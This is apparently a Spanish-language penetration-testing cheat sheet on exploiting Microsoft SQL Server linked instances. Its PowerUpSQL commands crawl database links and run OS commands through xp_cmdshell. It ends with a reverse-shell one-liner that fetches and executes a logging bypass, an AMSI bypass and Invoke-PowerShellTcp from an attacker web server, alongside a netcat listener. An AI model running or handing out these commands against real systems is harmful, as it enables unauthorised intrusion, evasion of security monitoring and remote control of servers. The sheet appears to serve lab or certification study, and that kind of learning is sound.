[w0lff4ng@site]: ~/cheat-sheets$ ./info
File: /home/w0lff4ng/cheat-sheets/mssql
Access: (0644/-rw-r--r--) Uid: (1000/w0lff4ng) Gid: (100/users)
Modify: 2026-10-22
[w0lff4ng@site]: ~/cheat-sheets$ cd mssql/█

Explotación del servicio MSSQL

techniqueexplotaciónwindows← índice
Advertencia

La ejecución vía xp_cmdshell requiere permisos de sa y que xp_cmdshell esté habilitado.

Advertencia

Para la reverse shell, preparar antes los archivos de bypass (sbloggingbypass.txt, amsibypass.txt) en el servidor web local (los payloads no se reproducen aquí).

Ejecución de comandos

Validar el acceso ejecutando consultas (nombre y versión del servidor):

Get-SQLQuery -Instance "<SQL_INSTANCE_NAME>" -Query "select @@servername"
Get-SQLQuery -Instance "<SQL_INSTANCE_NAME>" -Query "select @@version"

Enumerar los database links de las instancias accesibles:

Get-SQLServerLinkCrawl -Instance <SQL_INSTANCE_NAME>

Ejecutar comandos del SO a través de la instancia con xp_cmdshell:

Get-SQLServerLinkCrawl -Instance instance_name -Query "exec master..xp_cmdshell 'set username'"

Reverse Shell

Subir un Invoke-PowerShellTcp.ps1 modificado (con Power -Reverse -IPAddress <LOCAL_IP_ADDRESS> -Port 443 al final) al servidor web local.

Levantar un listener:

nc64.exe -lvp 443

Ejecutar el payload para obtener la reverse shell:

Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell ''powershell -c "iex (iwr -UseBasicParsing http://<LOCAL_IP_ADDRESS>/sbloggingbypass.txt);iex (iwr -UseBasicParsing http://<LOCAL_IP_ADDRESS>/amsibypass.txt);iex (iwr -UseBasicParsing http://<LOCAL_IP_ADDRESS>/Invoke-PowerShellTcpEx.ps1)"''' -QueryTarget <VULNERABLE_SQL_INSTANCE_NAME>